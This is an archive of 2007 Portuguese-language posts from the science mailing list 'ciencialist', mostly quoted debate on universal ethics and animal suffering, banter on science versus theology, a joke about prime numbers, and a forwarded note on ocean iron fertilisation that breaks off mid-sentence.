>> > denuncia(RJ) ou mesmo o burlador se rende à
>> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
>> >
>> >>>>>> Isso também não poderá acontecer e as coisas
>> > ficarem sob segredo.
>> > Você disse que ser bom era mais vantajoso. Devemos
>> ser
>> > bons porque é mais vantajoso??? Isso depende. Ser
>> mau
>> > também pode ser vantajoso ao invés de ser bom.
>> Note
>> > que o príncipio aqui é o do ganho(teoria dos
>> jogos).
>> > Então ambos são duas faces de uma mesma moeda. Por
>> > esse principio você é igual às siglas. [ ... ]
>> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
>> longo prazo quando todos
>> ganham, e essa possibilidade deve ser considerada e
>> buscada permanentemente.
>> No perde-ganha vc não vive em paz. Alguém vai querer
>> tirar o que vc já
>> ganhou prejudicando ou não prejudicando outras
>> pessoas. Esse é o normal na
>> maioria das nossas comunidades.
>>
> === message truncated ===
>
>
> "O Binômio de Newton é tão belo como a Vênus de Milo.
> O que há é pouca gente para dar por isso... "
> Fernando Pessoa - Poesias de Alvaro Campos
>
> __________________________________________________________
> As informações existentes nessa mensagem e no(s) arquivo(s) anexado(s)
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> para uso restrito, sendo seu sigilo protegido por lei. Caso não seja
> destinatário, saiba que leitura, divulgação ou cópia são proibidas.
> Favor
> apagar as informações e notificar o remetente. O uso impróprio será
> tratado
> conforme as normas da empresa e a legislação em vigor. Agradecemos sua
> colaboração.
>
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> addressee, be aware that reading, disclosure or copy are forbidden.
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>






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Números primos
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/03/2007 12:19

Michel:
Eles sempre se reunem nos aniversários, casamentos, etc. são números sociáveis.

sds.,
silvio
----- Original Message -----
From: Michel Moccelin Viccari
To: ciência list
Sent: Friday, March 16, 2007 4:31 PM
Subject: [ciencialist] Números primos


Olá pessoal, alguém sabe dizer qual é a aplicação dos números primos?
Abraço

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[As partes desta mensagem que não continham texto foram removidas]






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Bruna - Crueldade com animais
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/03/2007 16:36

Olá Bruna

Bruna: "A ética universal está na razão de darmos a mesma a
consideração ao sofrimento de outros seres como damos ao nosso próprio
sofrimento, independente da espécie, do sexo e das habilidades
intelectuais."

Primeiro, permita-me perguntar, Por que? Por que é assim? E se eu não
acreditar em você, como pretende provar que é assim? Ou é apenas uma
questão de crença, devemos acreditar em você e pronto?

Quer dizer, de onde tirou tal informação, que é uma das mais
importantes e mais polêmicas da filosofia, a existência ou não de uma
ética universal? Como só você encontrou a resposta, que tem dividido e
assombrado filósofos por séculos?

Seria interessante saber como chegou a essa conclusão, o que a embasa,
quais as evidências, etc. Poderia resolver grandes problemas
filosóficos do ser humano.

Em segundo, fiquei curioso com este trecho em especial, em relação a
parte prática, a forma de aplicar esse, generoso, princípio:

Bruna: "independente da espécie, do sexo e das habilidades intelectuais."

Todos os seres vivos, independente da espécie? E das habilidades
intelectuais? Por exemplo, baratas estão incluídas, e devemos agir
pensando em sua "dor"? E Streptococcus, que causam pneumonia?

E animais selvagens, devemos destruir todas as cidades, para que
possam voltar a habitar seus ambientes originais?

E ratos, devemos impedir que sejam mortos nas cidades, pensando em sua
"dor"?

Se eu tiver uma infecção de pele, devo evitar de aplicar remédios que
causem a morte dos micro-organismos que habitam ali? Se pegar
lombrigas, não posso tomar remédios que causem dor e morte a elas? As
pessoas que vivem em áreas da África assoladas por doenças como
elefantíase, não podem aplicar as drogas que matam as moscas
transmissoras?

Por favor, não é uma pergunta retórica ou uma armadilha, eu realmente
quero saber como pretende aplicar sua alegação a casos concretos, já
que não há nela nenhuma limitação ou forma de decidir a linha de "corte".

Se considerarmos a dor de TODOS os seres vivos, independentemente de
qualquer outra coisa, espécie ou capacidade intelectual, como devo
agir nos casos concretos que citei?

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
<brunacribas@...> escreveu
>
> A ética universal está na razão de darmos a mesma a consideração ao
sofrimento de outros seres como damos ao nosso próprio sofrimento,
> independente da espécie, do sexo e das habilidades intelectuais.
>
> Abraços,
>
> da Bruna
>
>
> José Renato <jrma@...> escreveu:
Chicão, sou-lhe grato pela troca de idéias. Mas vale perguntar: como
vamos
> achar a ética universal se não a procurarmos? Parece-me que a
questão está
> muito menos em encontrá-la, do que na força necessária para
considerá-la e
> praticá-la. Estamos esgotados por tantas solicitações que não nos
sobra
> energia para sermos o que dizemos ser: homo sapiens-sapiens.
> []s
> José Renato
> .............................................
>
> From: "Chicao Valadares" <chicaovaladares@To:
> <ciencialist@yahoogrupos.com.br>
> Sent: Monday, March 12, 2007 12:07 PM
> Subject: Re: Fw: [ciencialist] Crueldade com animais
>
> > JR vou parar por aqui. Enquanto não acharmos a ética
> > universal vamos ficar apenas nos achismos e no plano
> > da retórica. Foi proveitosa toda essa polêmica. Essa
> > história de escolha lembra aquele velho dilema entre
> > determinismo e acaso. Mas isso fica pra um outro
> > debate....
> >
> > Abraços.
> >
> > --- José Renato <jrma@...> escreveu:
> >
> >> Olá, Chicão! Essa é uma questão de escolha... A
> >> nossa vida é construída,
> >> destruída ou mantida por permanentes escolhas que
> >> fazemos e pelas decisões
> >> que tomamos. Encontrar as melhores decisões e
> >> escolhas para cada situação é
> >> a pedra de toque que os sábios buscam há tempos.
> >> Como elas são praticamente
> >> infinitas alguns roteiros básicos são copilados para
> >> orientações gerais. Mas
> >> no particular, cada um vai ter de optar, escolher e
> >> decidir. Ou deixar que
> >> decidam por nós.
> >> Faço outros comentários no corpo do e-mail, após
> >> JR2, OK?
> >> ..............................................
> >> From: "Chicao Valadares" <chicaovaladares@To:
> >> <ciencialist@yahoogrupos.com.br>
> >> Sent: Thursday, March 08, 2007 4:22 PM
> >> Subject: Re: Fw: [ciencialist] Crueldade com animais
> >>
> >>
> >> > JR, minhas respostas seguem depois do ">>>>>".
> >> >
> >> > JR1 - Dor e prazer são sinais sensíveis relativos.
> >> O
> >> > atleta sofre muito durante a preparação para bater
> >> > seus recordes com a intenção de ter o prazer de
> >> > possuir uma medalha de ouro, seu nome nos anais,
> >> > valorização,
> >> > admiração, etc. Dor e prazer não são indicativos
> >> > absolutos. Muitas vezes o prazer de comer uma
> >> caixa de
> >> > chocolate acaba mal. Esse equilíbrio nas atitudes
> >> já
> >> > era perseguido por Sócrates com muito empenho.
> >> Perceba
> >> >
> >> > que buscar a felicidade, a glória e o gozo é o
> >> > objetivo maior e legítimo do ser humano. As
> >> > dificuldades ocorrem quando minha visão é curta e
> >> > atropelo tudo que de bom possuo para obter isso. A
> >> > troca é prejudicial a
> >> > mim e a todos que uso ou despacho para obter a
> >> > felicidade a qualquer custo. Vou postar uma
> >> reflexão
> >> > que fiz sobre isso, provocada há tempos
> >> > pelo Bulcão, na lista Acropolis.
> >> >
> >> >>>>>>Concordo com a relatividade.
> >> >
> >> >
> >> > JR1 - Mas quando o ser humano toma consciência de
> >> sua
> >> > existência passa a buscar viver de verdade, ter um
> >> amor de
> >> > verdade, ser feliz de verdade... Ilusões distraem
> >> e confortam
> >> > durante algum tempo. Mas o bom mesmo é
> >> > a realidade com todas as sua conseqüências.
> >> >
> >> >>>>>>O que é verdade??? A realidade é boa porque dá
> >> > prazer??? Eu posso na MATRIX fazer com que voce
> >> saiba mais
> >> > verdades que uma pessoa comum. Com isso você
> >> pensaria
> >> > que conhece a realidade e seria bom para você.
> >> > Não gostaria de entrar na MATRIX???
> >> JR2 - Parece que o que faço o tempo todo é tentar
> >> sair dela, da geléia geral
> >> em que estamos vivendo, da ilusão manipulada pelos
> >> meios de comunicação
> >> acionados pelos interesses comerciais e políticos.
> >> Viver na realidade ou na
> >> verdade dá mais segurança, harmonia,
> >> tranquilidade... O melhor em tudo é não
> >> confundir o imaginado e o sonhado com a Realidade. É
> >> isso que a Ciência
> >> busca.
> >> >
> >> > JR1 - Viver de mentirinha é o que já faço de
> >> diversas
> >> > maneiras e em diversas ocasiões. Mas os meus
> >> melhores
> >> > momentos da vida vieram através da realidade e da
> >> > lucidez em percebê-la. Nela me realizo.
> >> >
> >> >>>>>>Não gostaria de entrar na MATRIX???
> >> JR2 - De algum modo já estamos nela. O que procuro é
> >> sair dela.
> >> >
> >> > JR1 - É o que todos os "espertos e sabidórios"
> >> > fazem... Quanto a não
> >> > ser punido ou não sentir remorsos não é uma
> >> certeza
> >> > obtida de antemão.
> >> > Quando menos se espera vem a tal crise existencial
> >> e
> >> > aí o cara se
> >> > constata um merda, mentiroso, falso, safado, lixo,
> >> > traidor, etc. e nem sabe
> >> > mais quem ele é de fato no meio de tanta falsidade
> >> e
> >> > mentira.
> >> >
> >> >>>>>>Todas as pessoas não são assim. Existem
> >> aquelas
> >> > que não sentem nenhum remorso em fazer ações
> >> > consideradas más.
> >> JR2 - Alguns sentimentos são inatos. Prejudicar
> >> conscientemente alguém gera
> >> no fundo uma reflexão tipo "e se ele fizesse isso
> >> para mim" que vai geram um
> >> sentimento semelhante ao que chamamos de remorso. Em
> >> estudos dos diversos
> >> órgãos ou componentes do nosso sistema cognitivo
> >> identifica-se regiões onde
> >> estão os "bancos de dados" e procedimentos de
> >> avaliação ética-moral. Célebre
> >> é o caso do trabalhador que sofreu dano no célebro
> >> provocado por um prego
> >> disparado por uma pistola pneumática. Penetrou na
> >> cabeça, mas ele continuou
> >> consciente e aparentemente não prejudicou em nada
> >> seus movimentos e
> >> atividades intelectuais. Após a remoção do prego,
> >> recuperação e volta ao
> >> trabalho, observou-se que o cara estava com um
> >> comportamento diferente,
> >> aético, entrão, imoral, inconveniente... A partir
> >> daí começou-se a fazer
> >> testes mais acurados sobre o funcionamento dessa
> >> região afetada e de outras
> >> regiões do cérebro.
> >> >
> >> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
> >> pode
> >> > dar algum prazer, algum tipo de emoção forte. Os
> >> > cruéis patológicos têm orgasmos ao praticar
> >> violência,
> >> > mas é um distúrbio mental que não me parece grande
> >> > coisa desejar possuir. Quanto à vontade de usar
> >> minha
> >> > experiência de vida para discernir o que é melhor,
> >> o
> >> > que deve ser evitado e o que precisa ser superado,
> >> é
> >> > um exercício diário que requer tempo, coragem e
> >> > reflexão. Cometer os mesmos erros ou o erro dos
> >> outros
> >> > burrice em dobro. Prefiro tentar algo diferente e
> >> que tenha
> >> > alguma chance de obter melhores resultados...
> >> >
> >> >>>>>> E os cruéis não patológicos??? O resto que
> >> você
> >> > disse é relativo.
> >> JR2 - Em sã consciência somos capazes das maiores
> >> crueldades e das maiores
> >> generosidades. Ilude-se quem acha que não é capaz de
> >> fazer alguma ignomínia.
> >> Basta estar na situação adequada para praticá-la. E
> >> como sempre consideramos
> >> algum ponto de referência pode estar certo que não
> >> só o resto como tudo o
> >> mais é relativo a esse ponto. Em geral, procura-se
> >> um ponto ótimo
> >> inatingível como referência ou norte.
> >> >
> >> > JR1 - Mas, Chicão, não é esse objetivo que nos
> >> ilude
> >> > desde sempre? O crime perfeito! E cada vez mais se
> >> > sofistica as formas burlar, de modo a ser à prova
> >> de
> >> > qualquer investigação, até que alguém de dentro do
> >> > esquema se sente enganado e, antes de ser
> >> eliminado,
> >> > denuncia(RJ) ou mesmo o burlador se rende à
> >> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
> >> >
> >> >>>>>> Isso também não poderá acontecer e as coisas
> >> > ficarem sob segredo.
> >> > Você disse que ser bom era mais vantajoso. Devemos
> >> ser
> >> > bons porque é mais vantajoso??? Isso depende. Ser
> >> mau
> >> > também pode ser vantajoso ao invés de ser bom.
> >> Note
> >> > que o príncipio aqui é o do ganho(teoria dos
> >> jogos).
> >> > Então ambos são duas faces de uma mesma moeda. Por
> >> > esse principio você é igual às siglas. [ ... ]
> >> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
> >> longo prazo quando todos
> >> ganham, e essa possibilidade deve ser considerada e
> >> buscada permanentemente.
> >> No perde-ganha vc não vive em paz. Alguém vai querer
> >> tirar o que vc já
> >> ganhou prejudicando ou não prejudicando outras
> >> pessoas. Esse é o normal na
> >> maioria das nossas comunidades.
> >>
> > === message truncated ===
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> > "O Binômio de Newton é tão belo como a Vênus de Milo.
> > O que há é pouca gente para dar por isso... "
> > Fernando Pessoa - Poesias de Alvaro Campos
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anexado(s)
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> > Favor
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SUBJECT: P/ Ferrari - Re: Sobre o Método Cientifico - teologia
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/03/2007 16:53

Olá Ferrari

Ferrari: "Hehehe... é mais facil uma banana ficar reta do
> que um cientista meterialista dar o braço a torcer.
> Será que vcs não percebem que a ciencia materialista
> também é uma forma de teologia? sim, percebem sim...
> duro é admitir, né? hehehehe..."

Ironia é algo divertido, mas só funciona se se embasar em algo real. A
sua perdeu o alvo por quilômetros..:-)

Primeiro, TEOLOGIA e TELEOLOGIA são coisas completamente
diferentes..:-) Sua confusão torna tola e sem sentido sua ironia.

Sugiro dar uma estudada em David Hume, o argumento teleológico e um
pouco de filosofia básica..:-)

Segundo, ciência materialista é pleonasmo: toda ciência, por
definição, é materialista, lidando com aspectos concretos, materiais,
de nosso universo físico. E, isso é evidente para qualquer um que
tenha mais de dois neurônios e um pingo de informação sobre ciência,
teologia e filosofia, todos esses produtos do intelecto humano são
diferentes (embora, em alguns casos, tenham zonas de contato).

Na verdade, o duro é admitir que o que a ciência faz dá de 100 a zero
na teologia, em termos de eficácia e aproximação com a verdade e o
real (embora em termos de superstições e tolices, a teologia ganhe
disparado, claro..:-)

Por favor, é apenas uma brincadeira (ironia nos olhos do outros é
refresco..:-), não leva muito à sério tudo isso.

Um abraço.

Homero



--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Chicão: "Em nenhum momento eu falei de teleologia."
>
> --- Hehehehe... vc é que pensa.
>
> Homero: Nem eu.
>
> --- Hehehe... é mais facil uma banana ficar reta do
> que um cientista meterialista dar o braço a torcer.
> Será que vcs não percebem que a ciencia materialista
> também é uma forma de teologia? sim, percebem sim...
> duro é admitir, né? hehehehe...
>
>
>
> abçomanos
> ferrari
>
>
>
> - - - - - - - - - - - - - - -
>
> EXPERIMENTE XIXI COM TINTA
> O novo livro de Marcelo Ferrari:
>
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664
>
> Para receber meus textos inéditos, envie um email para:
> mferrari-subscribe@yahoogrupos.com.br
>
> Meu portal:
> http://www.ferrari.kit.net
>
>
>
>
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>
>
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SUBJECT: Re: [ciencialist] P/ Ferrari - Re: Sobre o Método Cientifico - teologia
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/03/2007 22:06

hehehehe...

homero, fica tranquilo
as leis do universo, sejam eles, cientifica ou
teológicas, não vão desentorar a banana,
nem acabar com nossa cordialidade


aboçomano
ferrari





--- oraculo333 <oraculo@atibaia.com.br> escreveu:

> Olá Ferrari
>
> Ferrari: "Hehehe... é mais facil uma banana ficar
> reta do
> > que um cientista meterialista dar o braço a
> torcer.
> > Será que vcs não percebem que a ciencia
> materialista
> > também é uma forma de teologia? sim, percebem
> sim...
> > duro é admitir, né? hehehehe..."
>
> Ironia é algo divertido, mas só funciona se se
> embasar em algo real. A
> sua perdeu o alvo por quilômetros..:-)
>
> Primeiro, TEOLOGIA e TELEOLOGIA são coisas
> completamente
> diferentes..:-) Sua confusão torna tola e sem
> sentido sua ironia.
>
> Sugiro dar uma estudada em David Hume, o argumento
> teleológico e um
> pouco de filosofia básica..:-)
>
> Segundo, ciência materialista é pleonasmo: toda
> ciência, por
> definição, é materialista, lidando com aspectos
> concretos, materiais,
> de nosso universo físico. E, isso é evidente para
> qualquer um que
> tenha mais de dois neurônios e um pingo de
> informação sobre ciência,
> teologia e filosofia, todos esses produtos do
> intelecto humano são
> diferentes (embora, em alguns casos, tenham zonas de
> contato).
>
> Na verdade, o duro é admitir que o que a ciência faz
> dá de 100 a zero
> na teologia, em termos de eficácia e aproximação com
> a verdade e o
> real (embora em termos de superstições e tolices, a
> teologia ganhe
> disparado, claro..:-)
>
> Por favor, é apenas uma brincadeira (ironia nos
> olhos do outros é
> refresco..:-), não leva muito à sério tudo isso.
>
> Um abraço.
>
> Homero
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, Ferrari
> <emailferrari@...> escreveu
> >
> > Chicão: "Em nenhum momento eu falei de
> teleologia."
> >
> > --- Hehehehe... vc é que pensa.
> >
> > Homero: Nem eu.
> >
> > --- Hehehe... é mais facil uma banana ficar reta
> do
> > que um cientista meterialista dar o braço a
> torcer.
> > Será que vcs não percebem que a ciencia
> materialista
> > também é uma forma de teologia? sim, percebem
> sim...
> > duro é admitir, né? hehehehe...
> >
> >
> >
> > abçomanos
> > ferrari
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> >
> > EXPERIMENTE XIXI COM TINTA
> > O novo livro de Marcelo Ferrari:
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> > Para receber meus textos inéditos, envie um
> email para:
> > mferrari-subscribe@yahoogrupos.com.br
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EXPERIMENTE XIXI COM TINTA
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SUBJECT: RE: [ciencialist] P/ Bruna - Crueldade com animais
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/03/2007 22:13

Caramba, Horáculo...
Vc já foi melhor!
Frente à realidade estabelecida há milhões de anos, ela só está falando de
algo denominado de ''empatia'', ou ''compaixão''.
abr/M.


>From: "oraculo333" <oraculo@atibaia.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] P/ Bruna - Crueldade com animais
>Date: Sat, 17 Mar 2007 19:36:14 -0000
>
>Olá Bruna
>
>Bruna: "A ética universal está na razão de darmos a mesma a
>consideração ao sofrimento de outros seres como damos ao nosso próprio
>sofrimento, independente da espécie, do sexo e das habilidades
>intelectuais."
>
>Primeiro, permita-me perguntar, Por que? Por que é assim? E se eu não
>acreditar em você, como pretende provar que é assim? Ou é apenas uma
>questão de crença, devemos acreditar em você e pronto?
>
>Quer dizer, de onde tirou tal informação, que é uma das mais
>importantes e mais polêmicas da filosofia, a existência ou não de uma
>ética universal? Como só você encontrou a resposta, que tem dividido e
>assombrado filósofos por séculos?
>
>Seria interessante saber como chegou a essa conclusão, o que a embasa,
>quais as evidências, etc. Poderia resolver grandes problemas
>filosóficos do ser humano.
>
>Em segundo, fiquei curioso com este trecho em especial, em relação a
>parte prática, a forma de aplicar esse, generoso, princípio:
>
>Bruna: "independente da espécie, do sexo e das habilidades intelectuais."
>
>Todos os seres vivos, independente da espécie? E das habilidades
>intelectuais? Por exemplo, baratas estão incluídas, e devemos agir
>pensando em sua "dor"? E Streptococcus, que causam pneumonia?
>
>E animais selvagens, devemos destruir todas as cidades, para que
>possam voltar a habitar seus ambientes originais?
>
>E ratos, devemos impedir que sejam mortos nas cidades, pensando em sua
>"dor"?
>
>Se eu tiver uma infecção de pele, devo evitar de aplicar remédios que
>causem a morte dos micro-organismos que habitam ali? Se pegar
>lombrigas, não posso tomar remédios que causem dor e morte a elas? As
>pessoas que vivem em áreas da África assoladas por doenças como
>elefantíase, não podem aplicar as drogas que matam as moscas
>transmissoras?
>
>Por favor, não é uma pergunta retórica ou uma armadilha, eu realmente
>quero saber como pretende aplicar sua alegação a casos concretos, já
>que não há nela nenhuma limitação ou forma de decidir a linha de "corte".
>
>Se considerarmos a dor de TODOS os seres vivos, independentemente de
>qualquer outra coisa, espécie ou capacidade intelectual, como devo
>agir nos casos concretos que citei?
>
>Um abraço.
>
>Homero
>
>
>--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
><brunacribas@...> escreveu
> >
> > A ética universal está na razão de darmos a mesma a consideração ao
>sofrimento de outros seres como damos ao nosso próprio sofrimento,
> > independente da espécie, do sexo e das habilidades intelectuais.
> >
> > Abraços,
> >
> > da Bruna
> >
> >
> > José Renato <jrma@...> escreveu:
>Chicão, sou-lhe grato pela troca de idéias. Mas vale perguntar: como
>vamos
> > achar a ética universal se não a procurarmos? Parece-me que a
>questão está
> > muito menos em encontrá-la, do que na força necessária para
>considerá-la e
> > praticá-la. Estamos esgotados por tantas solicitações que não nos
>sobra
> > energia para sermos o que dizemos ser: homo sapiens-sapiens.
> > []s
> > José Renato
> > .............................................
> >
> > From: "Chicao Valadares" <chicaovaladares@To:
> > <ciencialist@yahoogrupos.com.br>
> > Sent: Monday, March 12, 2007 12:07 PM
> > Subject: Re: Fw: [ciencialist] Crueldade com animais
> >
> > > JR vou parar por aqui. Enquanto não acharmos a ética
> > > universal vamos ficar apenas nos achismos e no plano
> > > da retórica. Foi proveitosa toda essa polêmica. Essa
> > > história de escolha lembra aquele velho dilema entre
> > > determinismo e acaso. Mas isso fica pra um outro
> > > debate....
> > >
> > > Abraços.
> > >
> > > --- José Renato <jrma@...> escreveu:
> > >
> > >> Olá, Chicão! Essa é uma questão de escolha... A
> > >> nossa vida é construída,
> > >> destruída ou mantida por permanentes escolhas que
> > >> fazemos e pelas decisões
> > >> que tomamos. Encontrar as melhores decisões e
> > >> escolhas para cada situação é
> > >> a pedra de toque que os sábios buscam há tempos.
> > >> Como elas são praticamente
> > >> infinitas alguns roteiros básicos são copilados para
> > >> orientações gerais. Mas
> > >> no particular, cada um vai ter de optar, escolher e
> > >> decidir. Ou deixar que
> > >> decidam por nós.
> > >> Faço outros comentários no corpo do e-mail, após
> > >> JR2, OK?
> > >> ..............................................
> > >> From: "Chicao Valadares" <chicaovaladares@To:
> > >> <ciencialist@yahoogrupos.com.br>
> > >> Sent: Thursday, March 08, 2007 4:22 PM
> > >> Subject: Re: Fw: [ciencialist] Crueldade com animais
> > >>
> > >>
> > >> > JR, minhas respostas seguem depois do ">>>>>".
> > >> >
> > >> > JR1 - Dor e prazer são sinais sensíveis relativos.
> > >> O
> > >> > atleta sofre muito durante a preparação para bater
> > >> > seus recordes com a intenção de ter o prazer de
> > >> > possuir uma medalha de ouro, seu nome nos anais,
> > >> > valorização,
> > >> > admiração, etc. Dor e prazer não são indicativos
> > >> > absolutos. Muitas vezes o prazer de comer uma
> > >> caixa de
> > >> > chocolate acaba mal. Esse equilíbrio nas atitudes
> > >> já
> > >> > era perseguido por Sócrates com muito empenho.
> > >> Perceba
> > >> >
> > >> > que buscar a felicidade, a glória e o gozo é o
> > >> > objetivo maior e legítimo do ser humano. As
> > >> > dificuldades ocorrem quando minha visão é curta e
> > >> > atropelo tudo que de bom possuo para obter isso. A
> > >> > troca é prejudicial a
> > >> > mim e a todos que uso ou despacho para obter a
> > >> > felicidade a qualquer custo. Vou postar uma
> > >> reflexão
> > >> > que fiz sobre isso, provocada há tempos
> > >> > pelo Bulcão, na lista Acropolis.
> > >> >
> > >> >>>>>>Concordo com a relatividade.
> > >> >
> > >> >
> > >> > JR1 - Mas quando o ser humano toma consciência de
> > >> sua
> > >> > existência passa a buscar viver de verdade, ter um
> > >> amor de
> > >> > verdade, ser feliz de verdade... Ilusões distraem
> > >> e confortam
> > >> > durante algum tempo. Mas o bom mesmo é
> > >> > a realidade com todas as sua conseqüências.
> > >> >
> > >> >>>>>>O que é verdade??? A realidade é boa porque dá
> > >> > prazer??? Eu posso na MATRIX fazer com que voce
> > >> saiba mais
> > >> > verdades que uma pessoa comum. Com isso você
> > >> pensaria
> > >> > que conhece a realidade e seria bom para você.
> > >> > Não gostaria de entrar na MATRIX???
> > >> JR2 - Parece que o que faço o tempo todo é tentar
> > >> sair dela, da geléia geral
> > >> em que estamos vivendo, da ilusão manipulada pelos
> > >> meios de comunicação
> > >> acionados pelos interesses comerciais e políticos.
> > >> Viver na realidade ou na
> > >> verdade dá mais segurança, harmonia,
> > >> tranquilidade... O melhor em tudo é não
> > >> confundir o imaginado e o sonhado com a Realidade. É
> > >> isso que a Ciência
> > >> busca.
> > >> >
> > >> > JR1 - Viver de mentirinha é o que já faço de
> > >> diversas
> > >> > maneiras e em diversas ocasiões. Mas os meus
> > >> melhores
> > >> > momentos da vida vieram através da realidade e da
> > >> > lucidez em percebê-la. Nela me realizo.
> > >> >
> > >> >>>>>>Não gostaria de entrar na MATRIX???
> > >> JR2 - De algum modo já estamos nela. O que procuro é
> > >> sair dela.
> > >> >
> > >> > JR1 - É o que todos os "espertos e sabidórios"
> > >> > fazem... Quanto a não
> > >> > ser punido ou não sentir remorsos não é uma
> > >> certeza
> > >> > obtida de antemão.
> > >> > Quando menos se espera vem a tal crise existencial
> > >> e
> > >> > aí o cara se
> > >> > constata um merda, mentiroso, falso, safado, lixo,
> > >> > traidor, etc. e nem sabe
> > >> > mais quem ele é de fato no meio de tanta falsidade
> > >> e
> > >> > mentira.
> > >> >
> > >> >>>>>>Todas as pessoas não são assim. Existem
> > >> aquelas
> > >> > que não sentem nenhum remorso em fazer ações
> > >> > consideradas más.
> > >> JR2 - Alguns sentimentos são inatos. Prejudicar
> > >> conscientemente alguém gera
> > >> no fundo uma reflexão tipo "e se ele fizesse isso
> > >> para mim" que vai geram um
> > >> sentimento semelhante ao que chamamos de remorso. Em
> > >> estudos dos diversos
> > >> órgãos ou componentes do nosso sistema cognitivo
> > >> identifica-se regiões onde
> > >> estão os "bancos de dados" e procedimentos de
> > >> avaliação ética-moral. Célebre
> > >> é o caso do trabalhador que sofreu dano no célebro
> > >> provocado por um prego
> > >> disparado por uma pistola pneumática. Penetrou na
> > >> cabeça, mas ele continuou
> > >> consciente e aparentemente não prejudicou em nada
> > >> seus movimentos e
> > >> atividades intelectuais. Após a remoção do prego,
> > >> recuperação e volta ao
> > >> trabalho, observou-se que o cara estava com um
> > >> comportamento diferente,
> > >> aético, entrão, imoral, inconveniente... A partir
> > >> daí começou-se a fazer
> > >> testes mais acurados sobre o funcionamento dessa
> > >> região afetada e de outras
> > >> regiões do cérebro.
> > >> >
> > >> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
> > >> pode
> > >> > dar algum prazer, algum tipo de emoção forte. Os
> > >> > cruéis patológicos têm orgasmos ao praticar
> > >> violência,
> > >> > mas é um distúrbio mental que não me parece grande
> > >> > coisa desejar possuir. Quanto à vontade de usar
> > >> minha
> > >> > experiência de vida para discernir o que é melhor,
> > >> o
> > >> > que deve ser evitado e o que precisa ser superado,
> > >> é
> > >> > um exercício diário que requer tempo, coragem e
> > >> > reflexão. Cometer os mesmos erros ou o erro dos
> > >> outros
> > >> > burrice em dobro. Prefiro tentar algo diferente e
> > >> que tenha
> > >> > alguma chance de obter melhores resultados...
> > >> >
> > >> >>>>>> E os cruéis não patológicos??? O resto que
> > >> você
> > >> > disse é relativo.
> > >> JR2 - Em sã consciência somos capazes das maiores
> > >> crueldades e das maiores
> > >> generosidades. Ilude-se quem acha que não é capaz de
> > >> fazer alguma ignomínia.
> > >> Basta estar na situação adequada para praticá-la. E
> > >> como sempre consideramos
> > >> algum ponto de referência pode estar certo que não
> > >> só o resto como tudo o
> > >> mais é relativo a esse ponto. Em geral, procura-se
> > >> um ponto ótimo
> > >> inatingível como referência ou norte.
> > >> >
> > >> > JR1 - Mas, Chicão, não é esse objetivo que nos
> > >> ilude
> > >> > desde sempre? O crime perfeito! E cada vez mais se
> > >> > sofistica as formas burlar, de modo a ser à prova
> > >> de
> > >> > qualquer investigação, até que alguém de dentro do
> > >> > esquema se sente enganado e, antes de ser
> > >> eliminado,
> > >> > denuncia(RJ) ou mesmo o burlador se rende à
> > >> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
> > >> >
> > >> >>>>>> Isso também não poderá acontecer e as coisas
> > >> > ficarem sob segredo.
> > >> > Você disse que ser bom era mais vantajoso. Devemos
> > >> ser
> > >> > bons porque é mais vantajoso??? Isso depende. Ser
> > >> mau
> > >> > também pode ser vantajoso ao invés de ser bom.
> > >> Note
> > >> > que o príncipio aqui é o do ganho(teoria dos
> > >> jogos).
> > >> > Então ambos são duas faces de uma mesma moeda. Por
> > >> > esse principio você é igual às siglas. [ ... ]
> > >> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
> > >> longo prazo quando todos
> > >> ganham, e essa possibilidade deve ser considerada e
> > >> buscada permanentemente.
> > >> No perde-ganha vc não vive em paz. Alguém vai querer
> > >> tirar o que vc já
> > >> ganhou prejudicando ou não prejudicando outras
> > >> pessoas. Esse é o normal na
> > >> maioria das nossas comunidades.
> > >>
> > > === message truncated ===
> > >
> > >
> > > "O Binômio de Newton é tão belo como a Vênus de Milo.
> > > O que há é pouca gente para dar por isso... "
> > > Fernando Pessoa - Poesias de Alvaro Campos
> > >
> > > __________________________________________________________
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>anexado(s)
> > > são
> > > para uso restrito, sendo seu sigilo protegido por lei. Caso não seja
> > > destinatário, saiba que leitura, divulgação ou cópia são proibidas.
> > > Favor
> > > apagar as informações e notificar o remetente. O uso impróprio será
> > > tratado
> > > conforme as normas da empresa e a legislação em vigor.
>Agradecemos sua
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> > > Version: 7.5.446 / Virus Database: 268.18.9/719 - Release Date:
>12/3/2007
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>




SUBJECT: Fw: nanotecnologia
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/03/2007 22:19

Oi, lista!
Será possível um treco assim?
obr/abr M.


Subject: Fw: nanotecnologia
>Date: Sat, 17 Mar 2007 21:56:14 -0300
>
>Bom dia
>
>No mar entre a Nova Zelândia e a Antártica foram espalhadas partículas de
>20 nanômetros de ferro com o objetivo de produzir plancton que, por sua
>vez, sequestraria o dióxido de carbono, reduzindo assim a temperatura.
>
>O efeito foi tão surpreendente e aterrador que um dos cientistas disse: "Se
